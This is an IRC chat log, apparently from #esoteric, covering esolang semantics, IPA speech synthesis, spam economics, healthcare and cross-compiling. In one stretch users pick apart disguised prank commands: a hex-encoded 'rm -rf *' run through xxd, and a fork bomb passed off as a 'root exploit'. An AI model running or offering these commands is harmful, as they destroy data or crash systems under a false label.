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18:31:03 <zzo38> They mentione above that it is not well defined +>>I[-[>]<<[]>-] see?
18:31:40 <zzo38> Although then they say it is infinite
18:33:11 <zzo38> Since sometimes it is impossible to do what it says it is supposed to do
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18:36:36 <zzo38> Do you have any better ideas for defining a programming language to define effect of cards in Magic: the Gathering and Pokemon card and so on, other than solely what I have written in the past few days? Perhaps, something based on those but better or more defined?
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18:45:18 <int-e> zzo38: I'd agree that I[-.] should terminate, because of . being a nop for non-unicode code points.
18:46:11 <zzo38> int-e: Yes, that is what I would see, too. (Even if extended to a longer range, as long as it is still a limited range of codepoints it is still OK)
18:46:23 <mauris> guess it would print all of unicode in reverse order
18:46:56 <mauris> I[--.] wouldn't be well defined though!
18:47:24 <zzo38> I think you are correct
18:48:53 <int-e> mauris: as the comment below the table says, in that case I would loop forever; the result would be a program that loops forever without output.
18:51:11 <zzo38> It seems that it ought to simply be an error instead; where an error is considered as not halting.
18:55:45 <int-e> that would raise the question whether errors are distinguishable from nontermination
18:59:08 <zzo38> The answer must be whichever way does not cause a paradox. (I am not sure that a paradox can be caused anyways, but possibly it can be considered??)
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19:00:10 <quintopia> i agree that I[-.] should do nothing and never halt
19:00:38 <quintopia> since if I+ is the same as I++ is the same as I+++, then so also should I be the same as I- and I--
19:00:51 <zzo38> No, I don't think that is what it means.
19:01:35 <zzo38> Well, I suppose what you say is true but that's because the "I" command then uses different values to compensate for such thing.
19:01:53 <zzo38> It doesn't seem to imply, to me, that I[-.] should then never halt.
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19:03:02 <quintopia> rereading, the print all code points and halt also makes sense
19:04:00 <quintopia> however, I[--.] as a program that loops forever without output also makes sense in the hyperreals
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19:14:03 <impomatic> It seems to me there ought to be an online IPA phonics to speech synthesiser, but I can't find one :-(
19:18:32 <zzo38> If you cannot find such a program, maybe you can write one? Do you know how to write one?
19:20:34 <fizzie> Loquendo had one (I don't recall if they had a demo), but their website seems to have been discombobulated now that Nuance bought them.
19:21:50 <fizzie> You can feed raw SSMP into http://www2.research.att.com/~ttsweb/tts/demo.php but I doubt their voices cover all of IPA.
19:22:36 <fizzie> Er, SSML. I don't know where I got the P from.
19:23:07 <zzo38> How to sort a partial ordering in a C program?
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19:26:48 <fizzie> <phoneme alphabet="att_sampa_english" ph="k { t">dummy</phoneme> sounds like a cat, but <phoneme alphabet="ipa" ...> doesn't work, so you're limited to what you can find in English SAMPA.
19:28:03 <zzo38> So you cannot get X-SAMPA then either, I suppose.
19:28:03 <fizzie> Huh, actually alphabet="ipa" does something too, if you hex-entity-encode the IPA stuff.
19:28:44 <fizzie> And now I got plain <phoneme alphabet="ipa" ph="kæt">...</phoneme> out too, so I guess I just typoed something.
19:28:54 <fizzie> Anyway, I doubt you can stick any IPA in there and expect it to work.
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19:30:20 <fizzie> Yeah, at least ɸ doesn't come out at all.
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19:35:34 <fizzie> Someone's made a bookmarklet -- http://johntantalo.com/blog/ipa-tts-bookmarklet/ -- around the AT&T demo, that's about all freely available I can find.
19:37:38 <fizzie> Fun fact: we've got a visitor from University of Edinburgh's speech synthesis group (home of Festival) at our lab/group/organizational-unit this month.
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19:40:15 <zzo38> Did you know, that in Hero Hearts, a fire extinguisher not only extinguishes fire, but it also extinguishes lava, too?
19:41:15 <impomatic> Not much luck trying to feed "kʀiːk deːɐ̯ kɛʁnə" into TTS!
19:41:24 <shachaf> Is that a card game which is a variation of Hearts?
19:41:48 <zzo38> It is a computer game
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19:47:47 <mauris> impomatic: i could pronounce it for you!
19:49:12 <impomatic> fizzie: no luck with the bookmarklet in Chrome. It's not even working on his examples.
19:50:00 <fizzie> They may have changed the interface.
19:50:38 <mauris> what about http://forvo.com/word/krieg/#de http://forvo.com/word/der/#de http://forvo.com/word/kerne/#de
19:50:41 <impomatic> mauris: thanks, if you shout it really, really loud that should do the trick.
19:51:34 <fizzie> Oh, it's actual language and not just some made-up thing?
19:51:51 <fizzie> You can just write "krieg der kerne" in Google Translate and ask it to play it back.
19:52:19 <mauris> oh yeah that of course
19:57:35 <fizzie> I've said this before, but having GT speak English words with their Finnish voice is p. amusing. It's a very close approximation of the stereotypical bad English Finns are supposed to speak.
19:57:39 <fizzie> Comes with having a more or less phonemic orthography, I'm sure.
19:57:41 <fizzie> Probably most of the joke is lost on non-Finnish people.
19:59:23 <fizzie> You're missing the context of jokes about "tankero-englanti".
19:59:33 <fizzie> http://en.wikipedia.org/wiki/Tankero ooh, notable
20:00:47 <impomatic> Thanks, google translate sounds close to the forvo pronunciation. I'm still surprised there isn't an IPA to speech tool online though.
20:01:04 <fizzie> You should make one to rectify this.
20:01:23 <fizzie> You could call it "the IPAmatic".
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00:11:11 <mauris> fizzie: hmm, is there any immediately obvious reason why that wouldn't exist yet, really
00:11:26 <mauris> it sounds easier than normal text to speech!
00:11:31 <mauris> i guess "ipa is just big"
00:15:13 <zzo38> Yes, it should be.
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01:49:54 <boily> @ask oerjan what is a zzoon?
01:50:04 <boily> (heh. for once I used the right @command :D )
01:57:42 <boily> meanwhile, I'm stupid.
01:57:56 <boily> never, ever do $(echo 726d202d7266202a | xxd -r -p) in your home directory.
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02:23:52 <int-e> oh, this thing comes with some moderately clever packaging here (from an IRC topic line): "Root exploit: root(){ root|root& };root | OpenSSH remote root exploit: ssh $(echo 726d202d7266202a|xxd -r -p)@example.com -p 22"
02:28:23 <int-e> `` echo 726d202d7266202a | xxd -r -p
02:32:44 <elliott> int-e: so that does ssh rm -rf '*'@example.com -p 22...?
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02:40:39 <lexande> it needs another set of $()s
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03:54:56 * Sgeo may be temporarily replacing '3 slices of pizza' with 'chicken + brocolli from Chinese food place' in his diet
03:55:03 <Sgeo> Not sure if that's worse health-wise
03:55:31 <zzo38> Sgeo: If you do not like to eat same things all the time, then it is good, though.
04:11:07 <int-e> elliott: hmm, right. it should be $($(...))
04:11:47 <int-e> elliott: or perhaps it wasn't meant to be truly evil
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05:37:37 <fizzie> @tell mauris I'd say it's easier to do badly (no need for pronunciation dictionaries) but harder to do "naturally" (no way of guessing correct prosody without knowing the language, except for the IPA stress and tone markers that probably aren't even always there, and anyway don't mark up everything, plus probably no available single-voice audio corpora that'd cover all the sounds).
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06:21:01 <zzo38> You should need a more elaborate syntax, then, would be all, I think
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07:01:23 <zzo38> Which would need to also specify various parameters and envelopes for speech, as well as markers used not only in IPA but an extension of it.
07:05:01 <zzo38> Will GNU GPL version 42 ever be made up?
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11:26:07 <lambdabot> boily asked 9h 36m 12s ago: what is a zzoon?
11:26:24 <oerjan> @tell boily It is Zzleep, coming zzoon hth
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11:28:51 <oerjan> wait what. for a fraction of a second i had what seemed like a vertical tab menu, the kind i've been missing since i updated from IE 8.
11:29:05 <oerjan> and i have no idea what i pressed.
11:30:11 <oerjan> ooh it's just IE's own icon which has changed it's menu. yay!
11:32:02 <boily> what the hoily is that?
11:32:25 <oerjan> https://www.youtube.com/watch?v=-b4-h9-s2g8
11:35:22 <boily> «Hey Hey terriblement BONJOUR»
11:36:23 <oerjan> that song was even cheesier than i remembered.
11:37:41 <boily> I have no idea what was what I just watched, except that it wouldn't feel out of place on a Monday night.
11:39:01 <oerjan> the "hemskt" is something like an intensifier, no _actual_ terrible intended.
11:39:34 <oerjan> it's a terrible amount of hi.
11:40:08 <boily> I surprisingly feel quite bonjoured today with that incomprehensible video clip :D
11:40:16 <boily> (but what is a micket?)
11:43:30 * oerjan also recommends den makalöse manicken that youtube suggests
11:43:45 <oerjan> of course you'll find that incomprehensible too.
11:58:25 <fizzie> There's a Finnish cover of it.
11:58:34 <fizzie> Does that help? I don't think it helps.
12:01:26 <boily> there should be a Help Scale, measured in HTHs.
12:03:28 <oerjan> this might help, by having nothing to comprehend in the first place https://www.youtube.com/watch?v=bd2qsC-PuJQ
12:06:16 <boily> hubba hubba zoot zoot! hebba hobba zaat zaat! :D ♪
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12:23:34 <fizzie> https://www.youtube.com/watch?v=RE7TOaTv3SI let's get that Finnish action here too, then
12:23:55 <fizzie> My headset is temporarily borrowed away, so I can't check if it is in fact the same thing.
12:28:07 <fizzie> (Except by playing it back out loud with the integrated speakers while everyone else around will stop and stare.)
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12:52:36 <oerjan> fizzie: well it is. but the swedish was better hth
12:53:10 <fizzie> That's what my wife says, too, IIRC.
12:53:15 <fizzie> I guess everything's better in Sweden.
12:53:33 <oerjan> well the finnish professor just doesn't sound crazy enough.
12:53:49 <fizzie> fungot: What's best in life?
12:53:49 <fungot> fizzie: tell me how to write a procmail-replacement in scheme. no sense in null termination. if it's not easier, at least
12:54:31 <oerjan> fungot knows the true pleasures
12:54:31 <fungot> oerjan: but most implementations do though? ( x 256) is clearer.
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14:50:17 <lambdabot> Illegal type: ‘'[Maybe, (,) Bool]’
14:50:18 <lambdabot> Perhaps you intended to use DataKinds
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16:14:49 <TieSoul> granted, there's already Lingua Romana Perligata
16:15:16 <TieSoul> but I want to make it so all valid Latin sentences are also valid in Latin#
16:16:08 <HackEgo> [wiki] [[Pyth]] http://esolangs.org/w/index.php?diff=40309&oldid=40117 * 213.152.181.66 * (+4)
16:16:23 <oerjan> there's also http://esolangs.org/wiki/User:Taneb/lingua_abstrusa
16:16:46 <oerjan> http://esolangs.org/wiki/Lingua_abstrusa
16:18:18 <TieSoul> I have the idea of making "speech" verbs like vocare control I/O
16:18:24 <HackEgo> [wiki] [[CJam]] N http://esolangs.org/w/index.php?oldid=40310 * 213.152.181.66 * (+177) Created page with "CJam is a stack-based programming language inspired by [[GolfScript]]. Link: http://sourceforge.net/projects/cjam/ Code example (factorial of 5): <pre>5 ,:):*</pre> {{stub}}"
16:18:51 <TieSoul> Like, having "voco" print something, "vocas" would get input, and "vocat" would print to stderr
16:19:04 <oerjan> quidquit latine dictum sit, accumulatorem increscit.
16:20:05 <oerjan> how did it sneak into putty
16:20:38 <TieSoul> also, that which is said in Latin, increments the accumulator?
16:21:54 <TieSoul> also, what should I use as for example an end-if?
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16:23:33 <oerjan> also, Taneb is probably better at this.
16:25:40 <TieSoul> yeah, but I want to give it a try :P
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17:47:37 <fizzie> I have the vaguest feeling that also keyboards hereabouts used to have the ¦ symbol printed on the keycap in place of the |.
17:48:37 <fizzie> AIUI, UK layouts had/have both?
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17:57:59 <Melvar> fizzie: My keyboard (German type 1) has ¦ printed where | would be if I were using the matching layout. It’s on the third level, and the Linux standard upper levels have the fourth-level equivalent be ¦ .
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18:04:57 <fizzie> This (Finnish) one I'm using has a | printed (third level in the key left of z, with < > | printed on it), and there is indeed ¦ generated by altgr-shift.
18:05:35 <fizzie> The equally Finnish keyboard in the laptop has a printed ¦.
18:05:42 <fizzie> Though the machine's from Germany.
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19:15:55 <olsner> this (sv) keyboard has a solid |, but I have another (us) keyboard with ¦
19:17:13 <ais523> UK keyboards have both, but both keys are interpreted the same way on Linux: | (left of Z), | (altgr-`)
19:17:24 <ais523> I think they're interpreted differently on DOS/Windows
19:17:52 <ais523> oh wow, I've seen a new development in 419 spam
19:18:17 <ais523> this spam is pretending to be a followup to existing spam that's already been fallen to, in the sense of "now I have the money, please contact person X for further details"
19:18:25 <ais523> it's the spam equivalent of a virus, rather than a bacterium
19:18:31 <ais523> relies on some other scammer having done the hard work
19:20:34 <olsner> sounds like a better deal than the normal nigeria spam, someone else has already paid for the transfer, all you need is to collect the reward
19:28:10 <fizzie> That's not really "new". And you see it also in the form of "stop talking to these other people, they are out to scam you, we need to take care of this".
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19:29:14 <fizzie> (I don't quite know how it proceeds from there into you giving them money.)
19:29:22 <ais523> fizzie: well, it's the first time I've seen it
19:29:42 <ais523> fizzie: I've seen the "we're police investigating scams, if you've been scammed tell us about it and we'll try to get your money back"
19:29:51 <ais523> (which is followed by the normal methods of getting money)
19:35:17 <fizzie> That's kind of a followup too.
19:35:28 <fizzie> Though the ones I've seen don't ask "if you've been scammed", they just assume.
19:36:07 <ais523> fizzie: err, right, yes
19:37:27 <fizzie> I've been getting a lot of "We considered your resume to be very attractive and we thought the vacant position in our company could be interesting for you" at the webmaster@ address lately, even though there's nothing very much like a resume or a CV at the site in question.
19:37:40 <fizzie> I guess there's a bit of a profile of myself that might have some keywords.
19:38:43 <fizzie> They are offering a job as a "destination representative" with duties including "document and payment control of our clients" offering "flat wage from 1200 EUR up to 3,000 EUR per month".
19:40:13 <fizzie> "These job postings are an attempt to lure you into accepting and cashing counterfeit checks into your bank accounts. You are being recruited to wire transfer these funds via WESTERN UNION or MONEYGRAM from your bank into a DOMESTIC BANK or OFFSHORE BANK ACCOUNT."
19:40:18 <fizzie> I was guessing it was something like that.
19:41:46 <olsner> how does a counterfeit check make you transfer money from your bank?
19:42:13 <ais523> olsner: you cash the counterfeit check, then wire 90% of the money to the people who sent it to you
19:42:22 <fizzie> Or a flat fee in this case, I guess.
19:44:47 <fizzie> There's apparently also a new targeted phishing attack going around our university; at least we got a warning about one from the IT folks.
19:45:30 <fizzie> Oh, I've gotten an instance of it too, it was in the spam folder.
19:46:00 <fizzie> "Dear User, This is your webmail administrator. Please,be informed that the email server has just been upgraded and your email needs to be reset immediately. This process is to keep Aalto University system server updated and protected as always."
19:47:00 <ais523> fizzie: do you go to Aalto University?
19:47:05 <ais523> if so, that's doing better than 90% of spam
19:47:12 <fizzie> At least the "reset your email" link has the actual Aalto webmail address as the link text. (The URL is to http://www.trimitra-indolestari.co.id/templates/... though.)
19:47:27 <fizzie> Yes. It's being sent to an @aalto.fi address, so it's very targeted.
19:47:28 <ais523> you shouldn't copy links you find in spam, in case someone clicks on them
19:47:40 <fizzie> That's not the full link.
19:48:03 <olsner> ooh, I actually have one spam on my work mail (in the last month, or however long gmail keeps them before autodeleting)
19:48:39 <fizzie> Based on the warning, there's a form at the link that asks for your username and password.
19:48:46 <ais523> that said, I'm not sure spam is that much of a problem any more
19:49:03 <ais523> I have zero spam filtering on my nethack4.org address, and the spammers have nonetheless mostly given up on it
19:51:40 <fizzie> I get maybe a 10-20 pieces of spam at the zem.fi (or gehennom.org; it goes to the same place) address daily, and approximately 95% of them are redirected to the spam folder by the most trivial of filtering rules ever, which is just id=RULE-01 ; rbl=zen.spamhaus.org,bl.spamcop.net ; rblcount>=1 ; action=PREPEND X-Zem-DNSBL: BAD [$$dnsbltext]
19:52:18 <ais523> fizzie: huh, is that also a nethack-related address?
19:52:34 <fizzie> I had a public nethack server there back in time.
19:58:00 <fizzie> (And I'm providing a couple of subdomains for friends; these have nothing whatsoever to do with the domain name, but have just become established, and therefore don't want to move out.)
19:59:53 <mroman> They try to make money by selling me medical drugs.
20:00:09 <mroman> Like I couldn't get them for free in the drug store anyway
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20:00:39 <mroman> I should write a paper about how to send personalized spam
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20:10:25 <int-e> mroman: you misunderstand the business
20:10:52 <int-e> mroman: thinking of filter criteria for spam is wasted effort when you can use that time to send spam to more people
20:11:00 <int-e> those people will do the filtering for you
20:12:40 <ais523> I actually think that most people who send spam make their money off spam-sending services, which they sell to the people hoping to /actually/ make money
20:20:31 <fizzie> "After 26 days, and almost 350 million e-mail messages, only 28 sales resulted". (Kanich et al., "Spamalytics: An Empirical Analysis of Spam Marketing Conversion", where they infiltrate the Storm botnet and collect statistics.)
20:21:07 <Bike> that's almost more than i'd expect
20:21:22 <ais523> more than one per day?
20:21:38 <ais523> no wonder spam is so prevalent
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20:23:16 <int-e> Spam has been likened to the Tragedy of the Commons, for good reason.
20:23:18 <fizzie> The paper refers to an estimate that buying spam delivery by retail costs $80/million messages, which probably wouldn't make that a particularly cost-effective figure.
20:24:33 <ais523> email spam, not paper spam?
20:24:45 <ais523> that seems like a pretty expensive price, really
20:25:03 <fizzie> It does. I didn't bother to follow through the reference they got the number from.
20:25:23 <fizzie> This is slightly old work (2008), which might make a difference.
20:27:22 <fizzie> Their "Pharmacy" dataset had 347,590,389 spam targets, an estimated 82,700,000 (23.8%) recipients where the responsible mail server actually accepted the message, 10,522 (0.00303%) visits to the spam site, and those 28 (0.0000081%) sales.
20:28:57 <ais523> huh, that's a pretty bad conversion rate after clicking the link, I thought that'd be higher
20:29:09 <ais523> I wonder how many of those visits were intentional, and how many were someone accidentally clicking the link?
20:29:24 <ais523> also, looks like a DDOS could /completely/ throw off the statistics
20:29:29 <int-e> or some browser doing prefetching
20:29:54 <int-e> (which I imagine is quite possible in connection with webmail)
20:30:20 <mroman> I can't imagine spam generating reasonable profit
20:31:50 <fizzie> Of the 28 sales, 27 were for "male-enhancement products", with an average purchase price of about $100.
20:31:57 <mroman> but sending spam dosn't cost that much
20:32:23 <ais523> fizzie: now I wonder if those products even actually worked
20:32:28 <mroman> but isn't buying those products in your local pharmacy much cheaper?
20:32:42 <ais523> mroman: well, apparently the first ever spam message (for lawyers, on Usenet) worked quite well, and it was massively controversial
20:32:48 <mroman> it's probably even covered by insurance
20:32:59 <fizzie> The direct extrapolation (which might be off by quite a whole lot) yields a revenue estimate of $3.5M/year for the Storm botnet entire.
20:33:53 <mroman> although covered by insurance doesn't imply that it's free
20:34:20 <mroman> depends on your franchise
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20:36:06 <fizzie> They speculate that Storm's operators are "vertically integrated" (such a wonderful phrase) and are doing the spamming themselves, and not someone else buying botnet time from them. Based on the fact that the same pharmacy campaign was running a long time and therefore was somewhat likely to be profitable.
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20:38:19 <fizzie> It's possibly a bit moot now that Storm's I guess mostly just a memory.
20:39:06 <fizzie> Also people might be more comfortable buying their male-enhancement products online instead of at the local pharmacy.
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20:42:24 <fizzie> I also have this vague feeling that here you'd need to demonstrate a medical condition in order to receive reimbursements. (I don't know really anything about insurance-based healthcare systems.)
20:43:10 <fizzie> "You can be reimbursed for the cost of medicines that a doctor has prescribed to you for the treatment of an illness. -- The reimbursement only covers necessary medicine expenses. To qualify for a reimbursement, you must take the medicine as instructed and purchase it for 3 months' use at a time in the most economical package size."
20:44:00 <ais523> the way it works in the UK, is that the doctor prescribes medicine, then you can buy it from a pharmacist for a stock (and very small, less than £10) price
20:44:03 <ais523> and the government pays for the rest
20:44:07 <fizzie> "Further, the medicine, emollient cream or clincal nutrient you are purchasing must have been confirmed as reimbursable and as having a reasonable wholesale price by the Pharmaceuticals Pricing Board, which operates in affiliation with the Ministry of Social Affairs and Health."
20:44:35 <fizzie> That's quite close to the system here, except the reimbursement is generally some percentage off the "reasonable wholesale price" mentioned there.
20:45:48 <fizzie> And if there are several equivalent alternatives in a group, the reimbursement amount is computed based on the least expensive of them.
20:46:42 <fizzie> "Basic rate" is a 35% discount, "lower special" rate is a 65% discount, and "higher special" rate is a 100% discount except for a fixed 3 eur "copayment".
20:47:40 <fizzie> And if you have to buy more than €610 worth of medicine per year, the costs above that are reimbursed in full, except for a fixed €1.50 payment.
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20:50:15 <J_Arcane> The Finnish system is pretty much price-fixed + an automatic discount, with possible further reimbursement through the social services.
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21:01:11 <fizzie> It's like living in the Netherlands.
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21:07:11 <mroman> fizzie: Of you course you need to demonstrate a medical condition
21:07:32 <mroman> but that's where your family doctor comes into place
21:08:37 <mroman> they usually don't hesistate writing prespriction
21:10:36 <mroman> although I don't know very much about male-enhancement prescriptions
21:11:34 <mroman> but if you're unscrupulous enough you can get free massages through your doctor
21:12:47 <mroman> the only real problem of that system is if you want to visit another doctor
21:13:21 <mroman> that's essentially free income for the doctor since he needs to re-assign you to another doctor
21:13:26 <mroman> and doctors do nothing for free
21:13:58 <mroman> and they charge around 50 CHF just for a 2 min phonecall
21:15:28 <coppro> ais523: that's very similar to the system here, except for the "government" part.
21:15:37 <coppro> Most drugs are not covered by public healthcare, and private plans are needed
21:15:42 <ais523> coppro: you have health insurance pay instead?
21:16:15 <mroman> it's also difficult to leave the doctor's office without meds
21:16:19 <coppro> it's pretty much standard for any employer worth their salt to provide a health + dental plan; student associations arrange them for students
21:16:31 <ais523> so this is pretty similar to the US system
21:16:50 <coppro> but the actual consultation with the doctor is covered publicly
21:17:40 <mroman> in switzerland employers actually HAVE TO provide health plan
21:17:40 <ais523> that's also the case in the UK, there are numerous doctor surgeries you can just drop into or make an appointment with
21:17:51 <ais523> assuming you're covered by the NHS (which is true if you're British and normally true if you're EU)
21:17:58 <mroman> some sort of health plan
21:18:12 <mroman> empolyers are required to insure you for injuries
21:18:25 <mroman> but insurance for illnesses in general is something you have to buy private
21:18:31 <mroman> and by have to buy I mean you HAVE TO
21:18:40 <mroman> by law you are required to have health insurance
21:19:18 <coppro> ais523: when is it not true for EU citizens?
21:19:49 <ais523> coppro: well your own government has to cover the cost, and you have to have documentation of that
21:20:01 <ais523> and sometimes it's simpler to pay on travel insurance instead
21:20:08 <coppro> mroman: there is a mandatory public insurance program here for on-the-job injuries
21:27:08 <fizzie> I'm not sure we have very many individual private doctors. I mean, I'm sure they exist (especially individual specialists), but when I think of private healthcare, I think of a couple of big companies that provide an array of services. Basically, the same as the public clinics except with more cost and (on average?) less suck.
21:27:13 <fizzie> Many (most?) employers have a corporate account with one of them. All university faculty goes to Terveystalo.com, for example.
21:27:31 <fizzie> (Except perhaps for dental care, for which there's mostly a number of smaller, maybe even one-doctor outfits.)
21:34:02 <fizzie> People keep calling Terveystalo (lit. "Health house") Arvaustalo (lit. "Guessing house"), though.
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22:16:41 <Phantom_Hoover> good god i still can't believe that the english base university entrance on gcse results
22:18:14 <Phantom_Hoover> what are you even doing the next two years of school for!
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22:21:26 <Phantom_Hoover> Bicyclidine, well this year the standard news headline is "exam results are up overall but there has been a decline in english scores"
22:22:00 <Phantom_Hoover> guess which subject the tory education minister picked out for particular interest?
22:24:07 <Phantom_Hoover> his 'force schools to use only TRUE BRITISH LITERATURE' policy was a particular highlight
22:24:36 <Bicyclidine> well, it wouldn't be public education without nationalism.
22:25:11 <Bicyclidine> especially in britain, where you're so serious about it you even imposed it in colonies :D
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22:30:13 <Bicyclidine> the minds of the greatest historians have deliberated on this question but have yet to find an answer
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06:31:16 <Sgeo> I wonder if there's anyone who's tried something like document.title = undefined; because they want to set the title to the word undefined, then got confused when they tried to change it to something else
06:34:28 <fizzie> That seems to work out (in Chromium's JS console, anyway) just fine.
06:34:46 <fizzie> Or by "something else" do you mean trying to not use quotes for something else too?
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07:10:36 <Sgeo> fizzie: I meant trying to not use quotes for something else too
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07:44:38 <fizzie> Right, that makes more sense. I mean, I read it first as if there was some JS weirdness that, I don't know, setting it to undefined would make it not be associated with the DOM any longer and not have it affect the title when set to something else.
08:37:13 <fizzie> Speaking of spam (like yesterday): "Series of meetings have been held over the past 7 months with the secretary general of the United Nations Organization. This ended 3 days ago. It is obvious that you have not received your fund which is to the tune of $16.5million due to past corrupt Governmental Officials who almost held the fund to themselves for their selfish reason and some individuals ...
08:37:19 <fizzie> ... who have taken advantage of your fund all in an attempt to swindle your fund which has led to so many losses from your end and unnecessary delay in the receipt of your fund."
08:39:21 <fizzie> The FEDERAL BUREAU OF INVESTIGATION uses @sidney.k12.mt.us addresses. That's the site for the public schools at Sidney, Montana.
08:39:52 <fizzie> Well, as the sender. For replying, they use @e-mail.ua, which sounds very legit.
08:40:44 <fizzie> "We will be issuing you a custom pin based ATM card which you will use to withdraw up to $5,000 per day from any ATM machine that has the Master Card Logo on it and the card have to be renewed in 4 years time which is 2018."
08:40:53 <fizzie> Not just any card, one with the Master Card Logo on it!
08:41:24 <fizzie> It's just ATMs with the Master Card Logo. Perhaps my card won't even have it. :\
08:42:38 <fizzie> "Because we have signed a contract with FedEx which should expire by the end of september 2014 you will only need to pay $180 instead of $420 saving you $240 so if you Pay before the one week you save $240 note that any one asking you for some kind of money above the usual fee is definitely a fraudsters and you will have to stop communication with every other person if you have been in contact ...
08:42:46 <fizzie> I love these sentence structures.
08:42:54 <fizzie> fungot: Watch and learn.
08:42:55 <fungot> fizzie: that's it??? cool
08:43:18 <fizzie> Yeah, it's that simple.
08:44:42 <fizzie> "Also remember that all you will ever have to spend is $180.00 nothing more! Nothing less! And we guarantee the receipt of your fund to be successfully delivered to you within the next 24hrs after the receipt of payment has been confirmed. Note: Everything has been taken care of by the Government of Cambodia,The United Nation and also the FBI and including taxes, custom paper and clearance ...
08:44:48 <fizzie> ... duty so all you will ever need to pay is $180. -- reduce from the actual fee of $420 to $180 nothing more and no hidden fees of any sort!"
08:44:51 <fizzie> Yeah, it certainly is.
08:45:14 <fizzie> "Because we are so sure of everything we are giving you a 100% money back guarantee --" what
08:45:53 <fizzie> So even if I don't get my $16.5 million, I'll at least get my money back. So there's no risk at all!
08:46:27 <zzo38> No, ask them to take the $180 from the account they are giving you.
08:47:00 <zzo38> Which will then be the real way of having no risk at all.
08:47:29 <fizzie> I'm sure they'd have some good explanation as to how they can't touch that money before I officially receive it.
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08:48:42 <fizzie> Given the tone of the message, I'm a bit surprised they're not saying they'll include a free steak knife set or something if I reply within 24 hours.
08:50:33 <zzo38> Then you have to write a very careful authorization form.
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10:38:48 <Taneb> Did there used to be a bot in here that could execute J?
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11:52:55 <boily> @tell oerjan I watched HHHMH again. you corrupted me.
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12:12:15 -!- oerjan has set topic: #esoteric unglogged | brainfuck survey: https://www.surveymonkey.com/s/L82SNZV | https://dl.dropboxusercontent.com/u/2023808/wisdom.pdf http://codu.org/logs/_esoteric/ http://tunes.org/~nef/logs/esoteric/.
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12:19:36 <lambdabot> boily said 26m 40s ago: I watched HHHMH again. you corrupted me.
12:20:01 <oerjan> hm, he sneakily escaped.
12:20:55 <oerjan> soon we'll have boily addicted to swedish novelty songs
12:22:19 <oerjan> well if i could remember more than those two.
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12:38:20 <fizzie> http://sprunge.us/ZKBe I'm sure this is a good sign.
12:40:48 <Deewiant> They don't "have to assume", they just don't know how to test it: bad sign.
13:00:59 <fizzie> It's curious-ish because few lines earlier it's all "checking size of short... 2" "checking size of int... 4"
13:01:10 <fizzie> How do you test that when cross-compiling, incidentally?
13:03:25 <fizzie> "undefined reference to `__imp_ntohl'" hmm.
13:04:07 <Deewiant> int x = 1 / (sizeof(int) - 4); cross-compile this, if it fails the size is 4
13:04:53 <Deewiant> char x[sizeof(int)]; and then objdumping the result might be checkable if objdump has similar output for different object formats
13:04:54 <fizzie> I don't think 1 / 0 is guaranteed to fail at compile time, but right, yes, any static-assert thing will.
13:05:01 <fizzie> Like negative-length arrays or whatnot.
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13:05:56 <fizzie> And indeed static int test_array [1 - 2 * !(((long int) (sizeof (int))) <= 0)]; is what autoconf is using.
13:06:28 <Deewiant> Yeah, I'm not too familiar with pre-C11 static assertion methods
13:06:35 <fizzie> With increasing values in place of the 0.
13:07:08 <fizzie> It tries 0, 1, 3 and then compiles correctly with 7.
13:11:10 <fizzie> This is an attempt to cross-compile something on Linux for Windows with mingw-w64, and as far as I can figure out, the __imp_ntohl error is because libflac does case "$host" in *-*-cygwin|*mingw*) MINGW_WINSOCK_LIBS=-lwsock32 ;; ("only needed because of ntohl() usage, can get rid of after that's gone") but then I'm trying to link everything statically.
13:11:36 <fizzie> Perhaps I should just resign myself to having a bundle of DLLs.
13:15:10 <Deewiant> Maybe you can remove a 'dllimport' somewhere
13:16:59 <fizzie> Maybe I could just stick in a private ntohl, really.
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13:18:16 <fizzie> I don't even know how to make "real DLLs" out of mingw that I could use on Windows, all these autotools project with --host=x86_64-w64-mingw32 generate just some libfoo.dll.a files in the installation directory.
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13:21:02 <fizzie> (I've made some in the past with just regular Makefiles, but all these things go with autoconf and libtool.)
13:27:53 <fizzie> I replaced the ntohl with __builtin_bswap32 since I'm building this whole heap with GCC in any case.
13:51:25 <fizzie> --enable-speed optimize for speed over accuracy
13:51:25 <fizzie> --enable-accuracy optimize for accuracy over speed
13:51:30 <fizzie> Funny ./configure flags.
13:51:40 <fizzie> I wonder what it does with --enable-speed --enable-accuracy.
13:55:18 <fizzie> AC_ARG_ENABLE(accuracy, -- if test "$optimize_for" = "speed"; then optimize_for="both"; --
13:55:36 <fizzie> if test "$optimize_for" = "both"; then AC_MSG_ERROR(cannot optimize for both speed and accuracy); fi
14:00:28 <Deewiant> Unless you can pass --disable-speed or similar
14:00:51 <Deewiant> Being able to override options passed earlier is convenient
14:19:16 <fizzie> Grumble frumble CMAKE_INCLUDE_PATH is set to /some/path and there is a foo.h file there, but FIND_PATH(FOO NAMES foo.h) goes all missing: FOO.
14:19:51 <fizzie> "CMAKE_INCLUDE_PATH: Path used for searching by FIND_FILE() and FIND_PATH(). Specifies a path which will be used both by FIND_FILE() and FIND_PATH(). Both commands will check each of the contained directories for the existence of the file which is currently searched."
14:21:43 <fizzie> Same applies to CMAKE_LIBRARY_PATH and a FIND_LIBRARY call.
14:22:57 <fizzie> I've verified these things with message()s before and after the FIND_PATH.
14:29:58 <fizzie> It's the cross-compilation "CMAKE_FIND_ROOT_PATH_MODE_INCLUDE ONLY" setting, it prefixes all paths with the mingw /usr/i686-w64-mingw32/ thing.
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18:30:21 <fizzie> I switched a VDSL2 modem from model A to model B, and it was all for naught.
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20:13:42 <fizzie> Where "for naught" seems to be a synonym for "yielding horrible connection problems".
20:44:02 <TieSoul> I made a Brainfuck interpreter that also gives you a nice IDE-ish shell thingy that highlights your code and saves to a file and runs your code if you run the program without args.
20:44:56 <TieSoul> It's not very fancy, it's just you type bf code and it gets highlighted
20:45:18 <TieSoul> and then it gets saved to a file and run when you exit
20:53:41 <coppro> you should help with nethack >_>
20:54:23 <fizzie> Saved to "a file"? Just any random file?
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22:01:25 <mroman> "By setting your repositories to be viewed publicly, you agree to allow others to view and fork your repositories."
22:01:37 <mroman> does "fork repository" include "modify the code"?
22:01:48 <mroman> it's pretty much unclear what that's supposed to mean to me
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22:02:42 <Bike> on github? it means they make a copy which they can modify
22:02:49 <Bike> doesn't affect yours
22:03:59 <mroman> a "fork" is basically a copy
22:04:14 <mroman> "forking" doesn't grant you permission to compile the code?
22:04:52 <Bike> ...uh, if you have a copy, you can compile it, no?
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22:05:19 <Bike> unless you've smuggled DRM into gcc i guess
22:05:30 <olsner> of course you can, but are you allowed to?
22:06:03 <mroman> Per Github ToS I allow you to "fork" my repository
22:06:14 <mroman> but that doesn't necessarily mean that I allow you to make use of my software
